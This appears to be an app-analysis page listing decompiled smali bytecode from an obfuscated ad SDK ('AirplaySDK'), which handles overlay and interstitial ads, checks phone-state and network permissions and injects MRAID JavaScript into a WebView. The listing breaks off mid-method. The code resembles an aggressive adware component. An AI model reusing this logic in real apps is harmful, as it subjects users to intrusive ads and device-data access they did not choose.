18 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
20 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->isSDKEnabled(Landroid/content/Context;)Z | |
21 | move-result v2 | |
22 | if-eqz v2, :cond_6b | |
24 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
26 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/SetPreferences;->getNextAdCallTime(Landroid/content/Context;)J | |
27 | move-result-wide v2 | |
29 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J | |
30 | move-result-wide v4 | |
31 | cmp-long v2, v2, v4 | |
32 | if-lez v2, :cond_42 | |
34 | const-string v2, "AirplaySDK" | |
36 | const-string v3, "LandingPage Ad called within 10 secs. Ignoring request" | |
38 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
40 | const-string v2, "LandingPage Ad called within 10 secs. Ignoring request" | |
42 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
43 | try_end_38: goto/16 :goto_11 | |
44 | catch_39: move-exception v1 | |
46 | const-string v2, "AirplaySDK" | |
48 | const-string v3, "Error occurred in LandingPage ad: " | |
50 | invoke-static {v2, v3, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
51 | goto/16 :goto_11 | |
52 | cond_42: | |
53 | invoke-static {}, Lcom/vxjxu/jkhfn1870/SmartWallActivity;->isShowing()Z | |
54 | move-result v2 | |
55 | if-eqz v2, :cond_55 | |
57 | const-string v2, "AirplaySDK" | |
59 | const-string v3, "Another ad is showing on screen." | |
61 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
63 | const-string v2, "Another ad is showing on screen." | |
65 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
66 | goto/16 :goto_11 | |
67 | cond_55: | |
68 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
70 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z | |
71 | new-instance v0, Lcom/vxjxu/jkhfn1870/AirPlay$4; | |
73 | invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/AirPlay$4;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;)V | |
75 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
77 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z | |
78 | move-result v2 | |
79 | if-eqz v2, :cond_11 | |
81 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V | |
82 | goto/16 :goto_11 | |
83 | cond_6b: | |
84 | const-string v2, "AirplaySDK" | |
86 | const-string v3, "AirPlay is disabled Please enable to recive ads." | |
88 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
90 | const-string v2, "AirPlay is disabled Please enable to recive ads." | |
92 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
93 | try_end_77: goto/16 :goto_11 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | const-string v3, "AirplaySDK" | |
4 | const-string v4, "Initialising Rich Media Interstitial Ad....." | |
6 | invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
7 | sget-boolean v3, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z | |
8 | if-nez v3, :cond_11 | |
10 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkSmartWallintegration()Z | |
11 | move-result v3 | |
12 | if-nez v3, :cond_12 | |
13 | cond_11: return-void | |
14 | cond_12: | |
15 | sget-object v3, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
16 | if-eqz v3, :cond_69 | |
18 | sget-object v3, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
20 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->isSDKEnabled(Landroid/content/Context;)Z | |
21 | move-result v3 | |
22 | if-eqz v3, :cond_69 | |
24 | sget-object v3, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
26 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/SetPreferences;->getNextAdCallTime(Landroid/content/Context;)J | |
27 | move-result-wide v4 | |
29 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J | |
30 | move-result-wide v6 | |
31 | cmp-long v3, v4, v6 | |
32 | if-lez v3, :cond_40 | |
34 | const-string v2, "Rich Media Interstitial Ad called within 10 secs. Ignoring request" | |
36 | const-string v3, "AirplaySDK" | |
38 | invoke-static {v3, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
40 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
41 | try_end_36: goto/16 :goto_11 | |
42 | catch_37: move-exception v1 | |
44 | const-string v3, "AirplaySDK" | |
46 | const-string v4, "Error occurred in Rich Media interstital ad: " | |
48 | invoke-static {v3, v4, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
49 | goto/16 :goto_11 | |
50 | try_start_40: | |
51 | invoke-static {}, Lcom/vxjxu/jkhfn1870/SmartWallActivity;->isShowing()Z | |
52 | move-result v3 | |
53 | if-eqz v3, :cond_53 | |
55 | const-string v3, "AirplaySDK" | |
57 | const-string v4, "Another ad is showing on screen." | |
59 | invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
61 | const-string v3, "Another ad is showing on screen." | |
63 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
64 | goto/16 :goto_11 | |
65 | cond_53: | |
66 | sget-object v3, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
68 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z | |
69 | new-instance v0, Lcom/vxjxu/jkhfn1870/AirPlay$5; | |
71 | invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/AirPlay$5;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;)V | |
73 | sget-object v3, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
75 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z | |
76 | move-result v3 | |
77 | if-eqz v3, :cond_11 | |
79 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V | |
80 | goto/16 :goto_11 | |
81 | cond_69: | |
82 | const-string v3, "AirplaySDK" | |
84 | const-string v4, "AirPlay is disabled Please enable to recive ads." | |
86 | invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
88 | const-string v3, "AirPlay is disabled Please enable to recive ads." | |
90 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
91 | try_end_75: goto/16 :goto_11 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | const-string v2, "AirplaySDK" | |
4 | const-string v3, "Initialising Overlay AD....." | |
6 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
7 | sget-boolean v2, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z | |
8 | if-nez v2, :cond_11 | |
10 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkSmartWallActivity()Z | |
11 | move-result v2 | |
12 | if-nez v2, :cond_12 | |
13 | cond_11: return-void | |
14 | cond_12: | |
15 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
17 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->isSDKEnabled(Landroid/content/Context;)Z | |
18 | move-result v2 | |
19 | if-eqz v2, :cond_67 | |
21 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
23 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/SetPreferences;->getNextAdCallTime(Landroid/content/Context;)J | |
24 | move-result-wide v2 | |
26 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J | |
27 | move-result-wide v4 | |
28 | cmp-long v2, v2, v4 | |
29 | if-lez v2, :cond_3e | |
31 | const-string v2, "AirplaySDK" | |
33 | const-string v3, "Overlay Ad called within 10 secs. Ignoring request" | |
35 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
37 | const-string v2, "Overlay Ad called within 10 secs. Ignoring request" | |
39 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
40 | try_end_34: goto/16 :goto_11 | |
41 | catch_35: move-exception v1 | |
43 | const-string v2, "AirplaySDK" | |
45 | const-string v3, "Error occurred in Overlay ad: " | |
47 | invoke-static {v2, v3, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
48 | goto/16 :goto_11 | |
49 | cond_3e: | |
50 | invoke-static {}, Lcom/vxjxu/jkhfn1870/SmartWallActivity;->isShowing()Z | |
51 | move-result v2 | |
52 | if-eqz v2, :cond_51 | |
54 | const-string v2, "AirplaySDK" | |
56 | const-string v3, "Another ad is showing on screen." | |
58 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
60 | const-string v2, "Another ad is showing on screen." | |
62 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
63 | goto/16 :goto_11 | |
64 | cond_51: | |
65 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
67 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z | |
68 | new-instance v0, Lcom/vxjxu/jkhfn1870/AirPlay$7; | |
70 | invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/AirPlay$7;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;)V | |
72 | sget-object v2, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity; | |
74 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z | |
75 | move-result v2 | |
76 | if-eqz v2, :cond_11 | |
78 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V | |
79 | goto/16 :goto_11 | |
80 | cond_67: | |
81 | const-string v2, "AirplaySDK" | |
83 | const-string v3, "AirPlay SDK is disabled Please enable to recive ads." | |
85 | invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
87 | const-string v2, "AirPlay SDK is disabled Please enable to recive ads." | |
89 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V |
|
90 | try_end_73: goto/16 :goto_11 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "mContext" # Landroid/content/Context; | |
1 | .prologue | |
2 | const/4 v5, 0x0 | |
3 | const/4 v4, 0x1 | |
4 | const/4 v3, 0x1 | |
6 | const-string v6, "android.permission.INTERNET" | |
8 | invoke-virtual {p0, v6}, Landroid/content/Context;->checkCallingOrSelfPermission(Ljava/lang/String;)I |
|
9 | move-result v6 | |
10 | if-nez v6, :cond_5b | |
11 | move v1, v4 | |
12 | goto_c: | |
13 | const-string v6, "android.permission.ACCESS_NETWORK_STATE" | |
15 | invoke-virtual {p0, v6}, Landroid/content/Context;->checkCallingOrSelfPermission(Ljava/lang/String;)I |
|
16 | move-result v6 | |
17 | if-nez v6, :cond_5d | |
18 | move v0, v4 | |
19 | goto_15: | |
20 | const-string v6, "android.permission.READ_PHONE_STATE" | |
22 | invoke-virtual {p0, v6}, Landroid/content/Context;->checkCallingOrSelfPermission(Ljava/lang/String;)I |
|
23 | move-result v6 | |
24 | if-nez v6, :cond_5f | |
25 | move v2, v4 | |
26 | goto_1e: if-nez v1, :cond_2d | |
27 | const/4 v3, 0x0 | |
29 | const-string v5, "AirplaySDK" | |
31 | const-string v6, "Required INTERNET permission not found in manifest." | |
33 | invoke-static {v5, v6}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
35 | const-string v5, "Required INTERNET permission not found in manifest." | |
37 | invoke-static {v5}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendIntegrationError(Ljava/lang/String;)V |
|
38 | cond_2d: if-nez v0, :cond_3c | |
39 | const/4 v3, 0x0 | |
41 | const-string v5, "AirplaySDK" | |
43 | const-string v6, "Required ACCESS_NETWORK_STATE permission not found in manifest." | |
45 | invoke-static {v5, v6}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
47 | const-string v5, "Required ACCESS_NETWORK_STATE permission not found in manifest." | |
49 | invoke-static {v5}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendIntegrationError(Ljava/lang/String;)V |
|
50 | cond_3c: if-nez v2, :cond_4b | |
52 | const-string v5, "AirplaySDK" | |
54 | const-string v6, "Required READ_PHONE_STATE permission not found in manifest." | |
56 | invoke-static {v5, v6}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
57 | const/4 v3, 0x0 | |
59 | const-string v5, "Required READ_PHONE_STATE permission not found in manifest." | |
61 | invoke-static {v5}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendIntegrationError(Ljava/lang/String;)V |
|
62 | cond_4b: if-nez v3, :cond_5a | |
63 | sget-boolean v5, Lcom/vxjxu/jkhfn1870/SDKIntializer;->isSent:Z | |
64 | if-nez v5, :cond_5a | |
65 | new-instance v5, Lcom/vxjxu/jkhfn1870/SendIntegrationError; | |
66 | const/16 v6, 0x64 | |
68 | invoke-direct {v5, p0, v6}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;-><init>(Landroid/content/Context;I)V | |
69 | sput-boolean v4, Lcom/vxjxu/jkhfn1870/SDKIntializer;->isSent:Z | |
70 | cond_5a: return v3 | |
71 | cond_5b: move v1, v5 | |
72 | goto/16 :goto_c | |
73 | cond_5d: move v0, v5 | |
74 | goto/16 :goto_15 | |
75 | cond_5f: move v2, v5 | |
76 | goto/16 :goto_1e |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | new-instance v1, Lorg/json/JSONObject; | |
3 | invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V | |
4 | try_start_5: | |
5 | const-string v2, "width" | |
7 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
9 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$200(Lcom/vxjxu/jkhfn1870/MraidView;)I | |
10 | move-result v3 | |
12 | invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject; |
|
14 | const-string v2, "height" | |
16 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
18 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$300(Lcom/vxjxu/jkhfn1870/MraidView;)I | |
19 | move-result v3 | |
21 | invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject; |
|
23 | const-string v2, "useCustomClose" | |
24 | iget-boolean v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->useCustomClose:Z | |
26 | invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject; |
|
28 | const-string v2, "isModal" | |
29 | const/4 v3, 0x1 | |
31 | invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject; |
|
32 | goto_28: | |
33 | invoke-virtual {v1}, Lorg/json/JSONObject;->toString()Ljava/lang/String; | |
34 | move-result-object v2 | |
35 | return-object v2 | |
36 | catch_2d: move-exception v0 | |
38 | invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V | |
39 | goto/16 :goto_28 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "action" # Ljava/lang/String; | |
1 | .param p2, "msg" # Ljava/lang/String; | |
2 | .prologue | |
3 | new-instance v0, Ljava/lang/StringBuilder; | |
5 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
7 | const-string v1, "mraid.triggerErrorEvent(" | |
9 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
10 | move-result-object v0 | |
12 | invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
13 | move-result-object v0 | |
15 | const-string v1, ",\'" | |
17 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
18 | move-result-object v0 | |
20 | invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
21 | move-result-object v0 | |
23 | const-string v1, "\');" | |
25 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
26 | move-result-object v0 | |
28 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
29 | move-result-object v0 | |
31 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V | |
32 | iget-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isTestMode:Z | |
33 | if-nez v0, :cond_2f | |
35 | const-string v0, "error" | |
37 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
38 | cond_2f: return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v7, 0x4 | |
2 | const/4 v6, 0x3 | |
3 | const/4 v5, 0x2 | |
4 | const/4 v4, 0x1 | |
5 | const/4 v3, 0x0 | |
6 | new-instance v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
8 | const-string v1, "smartwall" | |
10 | invoke-direct {v0, v1, v3}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;-><init>(Ljava/lang/String;I)V |
|
11 | sput-object v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->smartwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
12 | new-instance v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
14 | const-string v1, "overlay" | |
16 | invoke-direct {v0, v1, v4}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;-><init>(Ljava/lang/String;I)V |
|
17 | sput-object v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->overlay:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
18 | new-instance v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
20 | const-string v1, "video" | |
22 | invoke-direct {v0, v1, v5}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;-><init>(Ljava/lang/String;I)V |
|
23 | sput-object v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->video:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
24 | new-instance v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
26 | const-string v1, "appwall" | |
28 | invoke-direct {v0, v1, v6}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;-><init>(Ljava/lang/String;I)V |
|
29 | sput-object v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->appwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
30 | new-instance v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
32 | const-string v1, "landing_page" | |
34 | invoke-direct {v0, v1, v7}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;-><init>(Ljava/lang/String;I)V |
|
35 | sput-object v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->landing_page:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
36 | new-instance v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
38 | const-string v1, "interstitial" | |
39 | const/4 v2, 0x5 | |
41 | invoke-direct {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;-><init>(Ljava/lang/String;I)V |
|
42 | sput-object v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->interstitial:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
43 | const/4 v0, 0x6 | |
44 | new-array v0, v0, [Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
46 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->smartwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
47 | aput-object v1, v0, v3 | |
49 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->overlay:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
50 | aput-object v1, v0, v4 | |
52 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->video:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
53 | aput-object v1, v0, v5 | |
55 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->appwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
56 | aput-object v1, v0, v6 | |
58 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->landing_page:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
59 | aput-object v1, v0, v7 | |
60 | const/4 v1, 0x5 | |
62 | sget-object v2, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->interstitial:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
63 | aput-object v2, v0, v1 | |
64 | sput-object v0, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->$VALUES:[Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
65 | return-void |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "any" # Ljava/lang/String; | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/lang/Exception; | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
8 | const-string v0, "" | |
9 | new-instance v2, Ljava/text/SimpleDateFormat; | |
11 | const-string v4, "yyyy-MM-dd" | |
13 | invoke-direct {v2, v4}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V |
|
15 | invoke-virtual {v2, p1}, Ljava/text/SimpleDateFormat;->parse(Ljava/lang/String;)Ljava/util/Date; | |
16 | move-result-object v1 | |
18 | sget-object v4, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
19 | new-instance v5, Ljava/lang/StringBuilder; | |
21 | invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V | |
23 | const-string v6, "dt: " | |
25 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
26 | move-result-object v5 | |
28 | invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
29 | move-result-object v5 | |
31 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
32 | move-result-object v5 | |
34 | invoke-virtual {v4, v5}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
35 | new-instance v3, Ljava/text/SimpleDateFormat; | |
37 | const-string v4, "yyyyMMdd\'T\'HHmmss\'Z\'" | |
39 | invoke-direct {v3, v4}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V |
|
41 | invoke-virtual {v3, v1}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String; | |
42 | move-result-object v0 | |
43 | return-object v0 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
3 | move-result-object v1 | |
5 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->getSupportsJson(Landroid/content/Context;)Lorg/json/JSONObject; | |
6 | move-result-object v0 | |
7 | if-eqz v0, :cond_27 | |
8 | new-instance v1, Ljava/lang/StringBuilder; | |
10 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
12 | const-string v2, "mraid.setSupportedFeatures(" | |
14 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
15 | move-result-object v1 | |
17 | invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
18 | move-result-object v1 | |
20 | const-string v2, ");" | |
22 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
23 | move-result-object v1 | |
25 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
26 | move-result-object v1 | |
28 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V | |
29 | goto_26: return-void | |
30 | cond_27: | |
31 | const-string v1, "supports" | |
33 | const-string v2, "Error occured in supports." | |
35 | invoke-virtual {p0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
36 | goto/16 :goto_26 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | monitor-enter p0 | |
2 | try_start_1: iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z | |
3 | if-eqz v1, :cond_9 | |
4 | iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->debug:Z | |
5 | if-eqz v1, :cond_10 | |
6 | cond_9: | |
7 | const-string v1, "Ad request is disabled." | |
9 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
10 | try_end_e: monitor-exit p0 | |
11 | return-void | |
12 | cond_10: iget-boolean v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAdRequestInProgress:Z | |
13 | if-eqz v1, :cond_2b | |
15 | const-string v1, "AirplayMraid" | |
17 | const-string v2, "Ad request is already in progress." | |
19 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
21 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
22 | if-eqz v1, :cond_e | |
23 | new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$3; | |
25 | invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$3;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V | |
27 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->post(Ljava/lang/Runnable;)Z | |
28 | try_end_27: goto/16 :goto_e | |
29 | catchall_28: move-exception v1 | |
30 | monitor-exit p0 | |
31 | throw v1 | |
32 | try_start_2b: | |
33 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J | |
34 | move-result-wide v2 | |
35 | iget-wide v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->lastAdfetchedTime:J | |
36 | sub-long/2addr v2, v4 | |
37 | iget v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I | |
38 | int-to-long v4, v1 | |
39 | cmp-long v1, v2, v4 | |
40 | if-gez v1, :cond_4d | |
42 | const-string v1, "AirplayMraid" | |
44 | const-string v2, "Ad requested beforing refresh time. Aborting request... " | |
46 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
48 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
